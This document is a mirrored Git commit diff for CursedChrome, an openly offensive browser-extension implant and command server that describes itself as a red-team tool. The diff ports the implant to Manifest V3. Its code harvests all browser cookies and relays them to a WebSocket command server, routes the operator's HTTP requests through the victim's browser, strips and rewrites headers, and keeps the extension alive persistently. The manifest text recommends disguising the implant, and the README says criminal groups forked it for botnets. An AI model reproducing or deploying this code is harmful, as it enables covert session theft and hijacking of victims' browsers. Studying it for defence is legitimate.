mirror of
https://github.com/mandatoryprogrammer/CursedChrome
synced 2026-06-08 15:39:30 +00:00
Merge pull request #74 from mandatoryprogrammer/v3-upgrade
Manifest V3 Support (and other goodies)
This commit is contained in:
@@ -1,4 +1,5 @@
|
||||
# CursedChrome
|
||||
## *Now with (beta) Manifest V3 support!*
|
||||
|
||||
<p align="center">
|
||||
<img src="./images/doll.svg" height="128" width="128" /><img src="./images/doll.svg" height="128" width="128" /><img src="./images/doll.svg" height="128" width="128" /><img src="./images/doll.svg" height="128" width="128" /><img src="./images/doll.svg" height="128" width="128" />
|
||||
@@ -10,6 +11,10 @@ I thought this was clearly-implied, and that these disclaimers were redundant at
|
||||
|
||||
> This is a tool written for *professional red teams*. It helps simulate an often unpracticed attack scenario involving malicious browser extensions. If you're planning on using this to maliciously spy on your friend/girlfriend/victims, let me know your address and intent and I'll gladly forward your message to your local LEO for your convenience.
|
||||
|
||||
For the [many](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/rilide-a-new-malicious-browser-extension-for-stealing-cryptocurrencies/) Russian [ecrime](https://www.justice.gov/opa/pr/criminal-marketplace-disrupted-international-cyber-operation) groups that forked this project for their botnet, see the following disclaimer instead:
|
||||
|
||||
> Разве ты не должен быть на передовой, товарищ? Тебя ждет беспилотник.
|
||||
|
||||
### Blue Teams/Defenders/CorpSec
|
||||
If you're on the blue team and wondering about ways to defend against this, take a look at my [ChromeGalvanizer project](https://github.com/mandatoryprogrammer/ChromeGalvanizer), which generates easy-to-install Chrome enterprise policies to defend against attacks like this. An easy-to-use hosted version is available [here](https://thehackerblog.com/galvanizer/).
|
||||
|
||||
|
||||
@@ -166,6 +166,33 @@ async function get_api_server(proxy_utils) {
|
||||
}).end();
|
||||
});
|
||||
|
||||
/*
|
||||
Delete a bot
|
||||
*/
|
||||
const DeleteBotSchema = {
|
||||
type: 'object',
|
||||
properties: {
|
||||
bot_id: {
|
||||
type: 'string',
|
||||
required: true,
|
||||
pattern: '[0-9a-f]{8}\-[0-9a-f]{4}\-[0-9a-f]{4}\-[0-9a-f]{4}\-[0-9a-f]{12}'
|
||||
},
|
||||
}
|
||||
}
|
||||
app.delete(API_BASE_PATH + '/bots', validate({ body: DeleteBotSchema }), async (req, res) => {
|
||||
const bot = await Bots.findOne({
|
||||
where: {
|
||||
id: req.body.bot_id
|
||||
}
|
||||
});
|
||||
await bot.destroy();
|
||||
|
||||
res.status(200).json({
|
||||
"success": true,
|
||||
"result": {}
|
||||
}).end();
|
||||
});
|
||||
|
||||
/*
|
||||
Get list of bots
|
||||
*/
|
||||
|
||||
+1
-1
@@ -1,4 +1,3 @@
|
||||
version: '3.2'
|
||||
services:
|
||||
redis:
|
||||
image: "redis:alpine"
|
||||
@@ -26,6 +25,7 @@ services:
|
||||
# Number of bcrypt rounds for
|
||||
# storing admin panel passwords.
|
||||
BCRYPT_ROUNDS: 10
|
||||
DEBUGGING: "yes"
|
||||
ports:
|
||||
- "127.0.0.1:8080:8080" # Proxy server
|
||||
- "127.0.0.1:4343:4343" # WebSocket server (talks with implants)
|
||||
|
||||
+10
-10
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"name": "CursedChrome Implant",
|
||||
"version": "0.0.1",
|
||||
"manifest_version": 2,
|
||||
"version": "0.0.2",
|
||||
"manifest_version": 3,
|
||||
"description": "Example Chrome extension with implant code. You should probably inject/disguise the implant instead of installing this extension directly.",
|
||||
"homepage_url": "https://thehackerblog.com",
|
||||
"icons": {
|
||||
@@ -11,15 +11,15 @@
|
||||
},
|
||||
"default_locale": "en",
|
||||
"background": {
|
||||
"scripts": [
|
||||
"src/bg/background.js"
|
||||
],
|
||||
"persistent": true
|
||||
"service_worker": "src/bg/background.js"
|
||||
},
|
||||
"permissions": [
|
||||
"webRequest",
|
||||
"webRequestBlocking",
|
||||
"<all_urls>",
|
||||
"cookies"
|
||||
"cookies",
|
||||
"storage",
|
||||
"declarativeNetRequest"
|
||||
],
|
||||
"host_permissions": [
|
||||
"<all_urls>"
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
+125
-69
@@ -22,30 +22,41 @@ const REQUEST_HEADER_BLACKLIST = [
|
||||
|
||||
const RPC_CALL_TABLE = {
|
||||
'HTTP_REQUEST': perform_http_request,
|
||||
'PONG': () => {}, // NOP, since timestamp is updated on inbound message.
|
||||
'PONG': () => { }, // NOP, since timestamp is updated on inbound message.
|
||||
'AUTH': authenticate,
|
||||
'GET_COOKIES': get_cookies,
|
||||
'RESET': reset,
|
||||
};
|
||||
|
||||
|
||||
async function reset(params) {
|
||||
// We've been reset, clear local identifier and reconnect
|
||||
await chrome.storage.local.clear();
|
||||
websocket.close();
|
||||
websocket = false;
|
||||
initialize();
|
||||
return false;
|
||||
}
|
||||
|
||||
/*
|
||||
Return an array of cookies for the current cookie store.
|
||||
*/
|
||||
async function get_cookies(params) {
|
||||
// If the "cookies" permission is not available
|
||||
// just return an empty array.
|
||||
if(!chrome.cookies) {
|
||||
if (!chrome.cookies) {
|
||||
return [];
|
||||
}
|
||||
return getallcookies({});
|
||||
}
|
||||
|
||||
function getallcookies(details) {
|
||||
return new Promise(function(resolve, reject) {
|
||||
return new Promise(function (resolve, reject) {
|
||||
try {
|
||||
chrome.cookies.getAll(details, function(cookies_array) {
|
||||
chrome.cookies.getAll(details, function (cookies_array) {
|
||||
resolve(cookies_array);
|
||||
});
|
||||
} catch(e) {
|
||||
} catch (e) {
|
||||
reject(e);
|
||||
}
|
||||
});
|
||||
@@ -53,16 +64,15 @@ function getallcookies(details) {
|
||||
|
||||
async function authenticate(params) {
|
||||
// Check for a previously-set browser identifier.
|
||||
var browser_id = localStorage.getItem('browser_id');
|
||||
const browser_id_obj = await chrome.storage.local.get(['browser_id']);
|
||||
|
||||
// If no browser ID is already set we generate a
|
||||
// new one and return it to the server.
|
||||
if(browser_id === null) {
|
||||
if (browser_id_obj === null || !('browser_id' in browser_id_obj)) {
|
||||
browser_id = uuidv4();
|
||||
localStorage.setItem(
|
||||
'browser_id',
|
||||
browser_id
|
||||
);
|
||||
await chrome.storage.local.set({
|
||||
'browser_id': browser_id
|
||||
});
|
||||
}
|
||||
|
||||
/*
|
||||
@@ -70,7 +80,7 @@ async function authenticate(params) {
|
||||
some metadata about the instance.
|
||||
*/
|
||||
return {
|
||||
'browser_id': browser_id,
|
||||
'browser_id': browser_id_obj.browser_id,
|
||||
'user_agent': navigator.userAgent,
|
||||
'timestamp': get_unix_timestamp()
|
||||
}
|
||||
@@ -79,16 +89,16 @@ async function authenticate(params) {
|
||||
function get_secure_random_token(bytes_length) {
|
||||
const validChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
|
||||
let array = new Uint8Array(bytes_length);
|
||||
window.crypto.getRandomValues(array);
|
||||
crypto.getRandomValues(array);
|
||||
array = array.map(x => validChars.charCodeAt(x % validChars.length));
|
||||
const random_string = String.fromCharCode.apply(null, array);
|
||||
return random_string;
|
||||
}
|
||||
|
||||
function uuidv4() {
|
||||
return ([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g, c =>
|
||||
(c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
|
||||
);
|
||||
return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c =>
|
||||
(c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
|
||||
);
|
||||
}
|
||||
|
||||
function arrayBufferToBase64(buffer) {
|
||||
@@ -98,7 +108,7 @@ function arrayBufferToBase64(buffer) {
|
||||
for (var i = 0; i < len; i++) {
|
||||
binary += String.fromCharCode(bytes[i]);
|
||||
}
|
||||
return window.btoa(binary);
|
||||
return btoa(binary);
|
||||
}
|
||||
|
||||
function get_unix_timestamp() {
|
||||
@@ -240,7 +250,7 @@ async function perform_http_request(params) {
|
||||
const redirect_hack_url_prefix = `${location.origin.toString()}/redirect-hack.html?id=`;
|
||||
|
||||
// Handler 301, 302, 307 edge case
|
||||
if(response.url.startsWith(redirect_hack_url_prefix)) {
|
||||
if (response.url.startsWith(redirect_hack_url_prefix)) {
|
||||
var response_metadata_string = decodeURIComponent(response.url);
|
||||
response_metadata_string = response_metadata_string.replace(
|
||||
redirect_hack_url_prefix,
|
||||
@@ -300,11 +310,10 @@ function initialize() {
|
||||
// snitch don't alert on a new port connection from Chrome).
|
||||
websocket = new WebSocket("ws://127.0.0.1:4343");
|
||||
|
||||
websocket.onopen = function(e) {
|
||||
//websocket.send("My name is John");
|
||||
websocket.onopen = function (e) {
|
||||
};
|
||||
|
||||
websocket.onmessage = async function(event) {
|
||||
websocket.onmessage = async function (event) {
|
||||
// Update last live connection timestamp
|
||||
last_live_connection_timestamp = get_unix_timestamp();
|
||||
|
||||
@@ -320,6 +329,9 @@ function initialize() {
|
||||
|
||||
if (parsed_message.action in RPC_CALL_TABLE) {
|
||||
const result = await RPC_CALL_TABLE[parsed_message.action](parsed_message.data);
|
||||
if (result === false) {
|
||||
return;
|
||||
}
|
||||
websocket.send(
|
||||
JSON.stringify({
|
||||
// Use same ID so it can be correlated with the response
|
||||
@@ -333,7 +345,7 @@ function initialize() {
|
||||
}
|
||||
};
|
||||
|
||||
websocket.onclose = function(event) {
|
||||
websocket.onclose = function (event) {
|
||||
if (event.wasClean) {
|
||||
console.log(`[close] Connection closed cleanly, code=${event.code} reason=${event.reason}`);
|
||||
} else {
|
||||
@@ -343,7 +355,7 @@ function initialize() {
|
||||
}
|
||||
};
|
||||
|
||||
websocket.onerror = function(error) {
|
||||
websocket.onerror = function (error) {
|
||||
console.log(`[error] ${error.message}`);
|
||||
};
|
||||
}
|
||||
@@ -372,9 +384,9 @@ Additionally, for defense in depth, nothing that isn't initiated by the Chrome e
|
||||
is actually processed.
|
||||
*/
|
||||
chrome.webRequest.onBeforeSendHeaders.addListener(
|
||||
function(details) {
|
||||
function (details) {
|
||||
// Ensure we only process requests done by the Chrome extension
|
||||
if(details.initiator !== location.origin.toString()) {
|
||||
if (details.initiator !== location.origin.toString()) {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -382,54 +394,54 @@ chrome.webRequest.onBeforeSendHeaders.addListener(
|
||||
var header_keys_to_delete = [];
|
||||
var headers_to_append = [];
|
||||
|
||||
details.requestHeaders.map(requestHeader => {
|
||||
if(requestHeader.name === 'X-PLACEHOLDER-SECRET' && requestHeader.value === placeholder_secret_token) {
|
||||
has_header_secret = true;
|
||||
header_keys_to_delete.push('X-PLACEHOLDER-SECRET');
|
||||
}
|
||||
});
|
||||
details.requestHeaders.map(requestHeader => {
|
||||
if (requestHeader.name === 'X-PLACEHOLDER-SECRET' && requestHeader.value === placeholder_secret_token) {
|
||||
has_header_secret = true;
|
||||
header_keys_to_delete.push('X-PLACEHOLDER-SECRET');
|
||||
}
|
||||
});
|
||||
|
||||
// If there's no secret header set with the
|
||||
// proper secret then quit out the proxy replacement.
|
||||
if(!has_header_secret) {
|
||||
return {
|
||||
cancel: false
|
||||
};
|
||||
}
|
||||
// If there's no secret header set with the
|
||||
// proper secret then quit out the proxy replacement.
|
||||
if (!has_header_secret) {
|
||||
return {
|
||||
cancel: false
|
||||
};
|
||||
}
|
||||
|
||||
// Get headers to remove and headers to append
|
||||
details.requestHeaders.map(requestHeader => {
|
||||
if(!requestHeader.name.startsWith('X-PLACEHOLDER-SECRET') && requestHeader.name.startsWith('X-PLACEHOLDER-')) {
|
||||
header_keys_to_delete.push(requestHeader.name);
|
||||
// Get headers to remove and headers to append
|
||||
details.requestHeaders.map(requestHeader => {
|
||||
if (!requestHeader.name.startsWith('X-PLACEHOLDER-SECRET') && requestHeader.name.startsWith('X-PLACEHOLDER-')) {
|
||||
header_keys_to_delete.push(requestHeader.name);
|
||||
|
||||
// Skip the header if it's in the blacklist (e.g. Cookie)
|
||||
if(REQUEST_HEADER_BLACKLIST.includes(requestHeader.name.replace('X-PLACEHOLDER-', '').toLowerCase())) {
|
||||
if (REQUEST_HEADER_BLACKLIST.includes(requestHeader.name.replace('X-PLACEHOLDER-', '').toLowerCase())) {
|
||||
return
|
||||
}
|
||||
|
||||
headers_to_append.push({
|
||||
'name': requestHeader.name.replace('X-PLACEHOLDER-', ''),
|
||||
'value': requestHeader.value
|
||||
})
|
||||
}
|
||||
});
|
||||
headers_to_append.push({
|
||||
'name': requestHeader.name.replace('X-PLACEHOLDER-', ''),
|
||||
'value': requestHeader.value
|
||||
})
|
||||
}
|
||||
});
|
||||
|
||||
// Remove headers
|
||||
details.requestHeaders = details.requestHeaders.filter(requestHeader => {
|
||||
return !header_keys_to_delete.includes(requestHeader.name);
|
||||
});
|
||||
// Remove headers
|
||||
details.requestHeaders = details.requestHeaders.filter(requestHeader => {
|
||||
return !header_keys_to_delete.includes(requestHeader.name);
|
||||
});
|
||||
|
||||
// Add appended headers
|
||||
details.requestHeaders = details.requestHeaders.concat(
|
||||
headers_to_append
|
||||
);
|
||||
// Add appended headers
|
||||
details.requestHeaders = details.requestHeaders.concat(
|
||||
headers_to_append
|
||||
);
|
||||
|
||||
return {
|
||||
requestHeaders: details.requestHeaders
|
||||
requestHeaders: details.requestHeaders
|
||||
};
|
||||
}, {
|
||||
urls: ["<all_urls>"]
|
||||
}, ["blocking", "requestHeaders", "extraHeaders"]
|
||||
urls: ["<all_urls>"]
|
||||
}, ["requestHeaders", "extraHeaders"]
|
||||
);
|
||||
|
||||
|
||||
@@ -439,29 +451,29 @@ const REDIRECT_STATUS_CODES = [
|
||||
307
|
||||
];
|
||||
|
||||
chrome.webRequest.onHeadersReceived.addListener(function(details) {
|
||||
chrome.webRequest.onHeadersReceived.addListener(function (details) {
|
||||
// Ensure we only process requests done by the Chrome extension
|
||||
if(details.initiator !== location.origin.toString()) {
|
||||
if (details.initiator !== location.origin.toString()) {
|
||||
return
|
||||
}
|
||||
|
||||
// Rewrite Set-Cookie to expose it in fetch()
|
||||
var cookies = []
|
||||
details.responseHeaders.map(responseHeader => {
|
||||
if(responseHeader.name.toLowerCase() === 'set-cookie') {
|
||||
if (responseHeader.name.toLowerCase() === 'set-cookie') {
|
||||
cookies.push(responseHeader.value);
|
||||
}
|
||||
});
|
||||
if (cookies.length != 0) {
|
||||
details.responseHeaders.push({
|
||||
'name': 'X-Set-Cookie',
|
||||
// We pack array of cookies into string and depack later.
|
||||
// Otherwise multiple Set-Cookie headers would be merged together.
|
||||
'value': JSON.stringify(cookies)
|
||||
'name': 'X-Set-Cookie',
|
||||
// We pack array of cookies into string and depack later.
|
||||
// Otherwise multiple Set-Cookie headers would be merged together.
|
||||
'value': JSON.stringify(cookies)
|
||||
});
|
||||
}
|
||||
|
||||
if(!REDIRECT_STATUS_CODES.includes(details.statusCode)) {
|
||||
if (!REDIRECT_STATUS_CODES.includes(details.statusCode)) {
|
||||
return {
|
||||
responseHeaders: details.responseHeaders
|
||||
}
|
||||
@@ -480,4 +492,48 @@ chrome.webRequest.onHeadersReceived.addListener(function(details) {
|
||||
};
|
||||
}, {
|
||||
urls: ["<all_urls>"]
|
||||
}, ["blocking", "responseHeaders", "extraHeaders"]);
|
||||
}, ["responseHeaders", "extraHeaders"]);
|
||||
|
||||
|
||||
(async () => {
|
||||
// From https://developer.chrome.com/docs/extensions/develop/migrate/to-service-workers#keep_a_service_worker_alive_continuously
|
||||
/**
|
||||
* Tracks when a service worker was last alive and extends the service worker
|
||||
* lifetime by writing the current time to extension storage every 20 seconds.
|
||||
* You should still prepare for unexpected termination - for example, if the
|
||||
* extension process crashes or your extension is manually stopped at
|
||||
* chrome://serviceworker-internals.
|
||||
*/
|
||||
let heartbeatInterval;
|
||||
|
||||
async function runHeartbeat() {
|
||||
await chrome.storage.local.set({ 'last-heartbeat': new Date().getTime() });
|
||||
}
|
||||
|
||||
/**
|
||||
* Starts the heartbeat interval which keeps the service worker alive. Call
|
||||
* this sparingly when you are doing work which requires persistence, and call
|
||||
* stopHeartbeat once that work is complete.
|
||||
*/
|
||||
async function startHeartbeat() {
|
||||
// Run the heartbeat once at service worker startup.
|
||||
runHeartbeat().then(() => {
|
||||
// Then again every 20 seconds.
|
||||
heartbeatInterval = setInterval(runHeartbeat, 20 * 1000);
|
||||
});
|
||||
}
|
||||
|
||||
async function stopHeartbeat() {
|
||||
clearInterval(heartbeatInterval);
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the last heartbeat stored in extension storage, or undefined if
|
||||
* the heartbeat has never run before.
|
||||
*/
|
||||
async function getLastHeartbeat() {
|
||||
return (await chrome.storage.local.get('last-heartbeat'))['last-heartbeat'];
|
||||
}
|
||||
|
||||
await startHeartbeat();
|
||||
})();
|
||||
@@ -165,6 +165,12 @@
|
||||
<font-awesome-icon :icon="['fas', 'edit']" class="icon alt mr-1 ml-1" /> Rename
|
||||
</b-button>
|
||||
</div>
|
||||
<hr />
|
||||
<div class="input-group">
|
||||
<b-button variant="danger" v-on:click="delete_bot">
|
||||
<font-awesome-icon :icon="['fas', 'delete']" class="icon alt mr-1 ml-1" /> Delete Bot
|
||||
</b-button>
|
||||
</div>
|
||||
</b-modal>
|
||||
</div>
|
||||
<!-- Update user password modal -->
|
||||
@@ -284,6 +290,17 @@ export default {
|
||||
this.user.password_should_be_changed = login_result.password_should_be_changed;
|
||||
|
||||
},
|
||||
async delete_bot() {
|
||||
await api_request(
|
||||
'DELETE',
|
||||
'/bots', {
|
||||
'bot_id': this.options_selected_bot.id
|
||||
}
|
||||
);
|
||||
this.$toastr.s('Bot deleted succesfully.');
|
||||
this.$bvModal.hide('bot_options_modal');
|
||||
this.refresh_bots();
|
||||
},
|
||||
async update_bot_name() {
|
||||
await api_request(
|
||||
'PUT',
|
||||
|
||||
@@ -4,6 +4,7 @@ const cluster = require('cluster');
|
||||
const WebSocket = require('ws');
|
||||
const https = require('https');
|
||||
const redis = require("redis");
|
||||
const http = require('http');
|
||||
const uuid = require('uuid');
|
||||
const util = require('util');
|
||||
const fs = require('fs');
|
||||
@@ -33,7 +34,7 @@ const numCPUs = require('os').cpus().length;
|
||||
const PROXY_PORT = process.env.PROXY_PORT || 8080;
|
||||
const WS_PORT = process.env.WS_PORT || 4343;
|
||||
const API_SERVER_PORT = process.env.API_SERVER_PORT || 8118;
|
||||
const SERVER_VERSION = '1.0.0';
|
||||
const SERVER_VERSION = '1.0.1';
|
||||
|
||||
const RPC_CALL_TABLE = {
|
||||
'PING': ping,
|
||||
@@ -46,6 +47,31 @@ const REQUEST_TABLE = new NodeCache({
|
||||
});
|
||||
|
||||
async function ping(websocket_connection, params) {
|
||||
|
||||
|
||||
// Update bot as online
|
||||
const bot = await Bots.findOne({
|
||||
where: {
|
||||
browser_id: websocket_connection.browser_id
|
||||
}
|
||||
});
|
||||
|
||||
if (!bot) {
|
||||
websocket_connection.send(
|
||||
JSON.stringify({
|
||||
'id': uuid.v4(),
|
||||
'version': SERVER_VERSION,
|
||||
'action': 'RESET',
|
||||
'data': {}
|
||||
})
|
||||
)
|
||||
return
|
||||
}
|
||||
|
||||
await bot.update({
|
||||
is_online: true,
|
||||
});
|
||||
|
||||
// Send PONG message back
|
||||
websocket_connection.send(
|
||||
JSON.stringify({
|
||||
@@ -55,16 +81,6 @@ async function ping(websocket_connection, params) {
|
||||
'data': {}
|
||||
})
|
||||
)
|
||||
|
||||
// Update bot as online
|
||||
const bot = await Bots.findOne({
|
||||
where: {
|
||||
browser_id: websocket_connection.browser_id
|
||||
}
|
||||
});
|
||||
await bot.update({
|
||||
is_online: true,
|
||||
});
|
||||
}
|
||||
|
||||
function get_browser_proxy(input_browser_id) {
|
||||
@@ -79,9 +95,9 @@ function get_browser_proxy(input_browser_id) {
|
||||
}
|
||||
|
||||
function authenticate_client(websocket_connection) {
|
||||
return new Promise(function(resolve, reject) {
|
||||
return new Promise(function (resolve, reject) {
|
||||
// For timeout, will reject if no response in 30 seconds.
|
||||
setTimeout(function() {
|
||||
setTimeout(function () {
|
||||
reject(`A timeout occurred when authenticating WebSocket client.`);
|
||||
}, (30 * 1000));
|
||||
|
||||
@@ -109,9 +125,9 @@ function authenticate_client(websocket_connection) {
|
||||
}
|
||||
|
||||
function get_browser_cookie_array(browser_id) {
|
||||
return new Promise(function(resolve, reject) {
|
||||
return new Promise(function (resolve, reject) {
|
||||
// For timeout, will reject if no response in 30 seconds.
|
||||
setTimeout(function() {
|
||||
setTimeout(function () {
|
||||
reject(`Get cookies RPC called timed out.`);
|
||||
}, (30 * 1000));
|
||||
|
||||
@@ -149,9 +165,9 @@ function get_browser_cookie_array(browser_id) {
|
||||
}
|
||||
|
||||
function send_request_via_browser(browser_id, authenticated, url, method, headers, body) {
|
||||
return new Promise(function(resolve, reject) {
|
||||
return new Promise(function (resolve, reject) {
|
||||
// For timeout, will reject if no response in 30 seconds.
|
||||
setTimeout(function() {
|
||||
setTimeout(function () {
|
||||
reject(`Request Timed Out for URL ${url}!`);
|
||||
}, (30 * 1000));
|
||||
|
||||
@@ -248,7 +264,7 @@ async function get_authentication_status(inputRequestDetail) {
|
||||
// If we already have this cached we can stop here.
|
||||
const credential_data_string = await getAsync(memory_cache_key);
|
||||
|
||||
if(credential_data_string) {
|
||||
if (credential_data_string) {
|
||||
const cached_record = JSON.parse(credential_data_string);
|
||||
return {
|
||||
'id': cached_record.id,
|
||||
@@ -274,7 +290,7 @@ async function get_authentication_status(inputRequestDetail) {
|
||||
// No need to wait for this to resolve
|
||||
await setexAsync(
|
||||
memory_cache_key,
|
||||
( 60 * 10 ),
|
||||
(60 * 10),
|
||||
JSON.stringify(browserproxy_record),
|
||||
);
|
||||
|
||||
@@ -355,7 +371,7 @@ const options = {
|
||||
//throttle: 10000,
|
||||
forceProxyHttps: true,
|
||||
wsIntercept: false,
|
||||
silent: true
|
||||
silent: !(process.env.DEBUGGING === "yes")
|
||||
};
|
||||
|
||||
async function initialize_new_browser_connection(ws) {
|
||||
@@ -432,7 +448,7 @@ async function initialize() {
|
||||
redis_client = redis.createClient({
|
||||
"host": process.env.REDIS_HOST,
|
||||
});
|
||||
redis_client.on("error", function(error) {
|
||||
redis_client.on("error", function (error) {
|
||||
logit(`Redis client encountered an error:`);
|
||||
console.error(error);
|
||||
});
|
||||
@@ -449,12 +465,12 @@ async function initialize() {
|
||||
delAsync = util.promisify(redis_client.del).bind(redis_client);
|
||||
|
||||
// Called when a new redis subscription is added
|
||||
subscriber.on("subscribe", function(channel, count) {
|
||||
subscriber.on("subscribe", function (channel, count) {
|
||||
//logit(`New subscription created for channel ${channel}, bring total to ${count}.`);
|
||||
});
|
||||
|
||||
// Called when a new message is written to a channel
|
||||
subscriber.on("message", function(channel, message) {
|
||||
subscriber.on("message", function (channel, message) {
|
||||
//logit(`Received a new message at channel '${channel}', message is '${message}'`);
|
||||
|
||||
// For messages being sent to the browser from the proxy
|
||||
@@ -495,8 +511,21 @@ async function initialize() {
|
||||
}
|
||||
});
|
||||
|
||||
// Build HTTP server first and pass to WS server
|
||||
// This is a forward-looking change so versioning doesn't
|
||||
// become a clusterfuck with addon tools for the server.
|
||||
const http_server = http.createServer(function (req, res) {
|
||||
res.writeHead(200, {
|
||||
'Content-Type': 'text/plain',
|
||||
'CC-Server-Version': SERVER_VERSION,
|
||||
});
|
||||
res.write('');
|
||||
res.end();
|
||||
}).listen(WS_PORT);
|
||||
|
||||
wss = new WebSocket.Server({
|
||||
port: WS_PORT
|
||||
server: http_server
|
||||
// port: WS_PORT
|
||||
});
|
||||
|
||||
wss.on('connection', async function connection(ws) {
|
||||
|
||||
Reference in New Issue
Block a user